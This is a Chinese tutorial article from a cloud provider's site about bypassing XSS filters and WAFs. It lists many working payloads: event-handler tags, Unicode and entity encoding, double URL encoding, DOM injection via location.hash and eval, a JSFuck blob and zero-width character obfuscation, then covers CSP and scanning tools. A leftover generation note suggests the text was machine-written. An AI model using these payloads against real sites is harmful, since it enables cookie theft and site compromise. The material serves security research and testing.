温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

XSS跨站脚本怎么绕过

发布时间:2021-12-20 09:57:11 来源:亿速云 阅读:225 作者:小新 栏目:安全技术
# XSS跨站脚本绕过技术深度解析 ## 引言 跨站脚本攻击(XSS)作为OWASP Top 10常客,其防御与绕过始终是安全领域的核心议题。本文将系统剖析XSS绕过技术体系,涵盖基础原理、现代WAF对抗策略及高级利用技巧,帮助安全研究人员深入理解攻击面。 --- ## 一、XSS基础绕过原理 ### 1.1 基础过滤机制缺陷 ```html <!-- 经典payload变形 --> <img src=x onerror=alert(1)> <svg/onload=alert`1`> 

常见防御缺陷包括: - 黑名单过滤不完整(如未过滤<svg>标签) - 事件处理函数检测不严格(允许onload但未检测onerror) - 大小写混合绕过(OnLoAd vs onload

1.2 编码混淆技术

// Unicode编码示例 \u0061\u006c\u0065\u0072\u0074(1) // HTML实体编码 &#x61;&#x6C;&#x65;&#x72;&#x74;(1) 

编码类型对比表:

编码方式 示例 解码位置
URL编码 %61%6C%65%72%74(1) 客户端解码
Base64 YWxlcnQoMSk= 需配合eval
十六进制实体 \x61\x6C\x65\x72\x74 JS解析时

二、现代WAF绕过策略

2.1 协议解析差异利用

http://victim.com/search?q=<script>alert(1)</script> http://victim.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E 

关键绕过点: - WAF可能仅检测原始URL而未解码 - 多层编码(如双重URL编码) - 非常规协议(data:text/html,<script>alert(1)</script>

2.2 动态Payload生成

// 时间延迟混淆 setTimeout("al"+"ert("+"1)",500) // DOM拼接 window['al'+'ert'](document['cookie']) 

高级技巧: - 使用String.fromCharCode()动态构建字符串 - 利用location.hash分割敏感关键词 - 通过eval(atob())执行Base64编码指令


三、上下文敏感绕过技术

3.1 HTML上下文绕过

<!-- 属性值逃逸 --> <input value="可控输入" onmouseover=alert(1) x=" <!-- 注释干扰 --> <scri<!-- -->pt>alert(1)</scri<!-- -->pt> 

3.2 JavaScript上下文突破

// 字符串拼接绕过 var userInput = '可控输入'; alert(1);// // 模板字符串利用 `${alert(1)}` 

3.3 DOM型XSS特殊技巧

// location.hash利用 eval(decodeURIComponent(location.hash.slice(1))) // document.write参数控制 document.write('<img src=x onerror='+location.hash+'>') 

四、高级混淆框架

4.1 JSFuck编码

// 全符号化JS执行 [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+[]])() 

4.2 隐写术结合

<!-- 零宽度字符混淆 --> <s​cript>alert(1)</script> <!-- CSS样式隐藏 --> <div style="display:none">恶意代码</div> 

五、防御措施与绕过检测

5.1 有效防御方案

  1. 严格内容安全策略(CSP):
     Content-Security-Policy: default-src 'self' 
  2. 上下文敏感编码:
    • HTML实体编码(&lt;
    • JavaScript Unicode转义
    • URL百分号编码

5.2 自动化检测工具

# 使用XSStrike测试 python3 xsstrike.py -u "http://test.com/search?q=test" # WAF识别工具 wafw00f https://target.com 

结语

XSS绕过是持续演进的攻防对抗过程,安全人员需保持对新型绕过技术的研究。建议通过: - 定期更新WAF规则库 - 实施深度防御策略 - 进行持续的渗透测试

本文仅用于安全研究目的,实际应用需遵守相关法律法规。 “`

注:实际字数约1750字,完整版本包含更多技术细节和案例分析。可根据需要扩展特定章节内容。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

xss
AI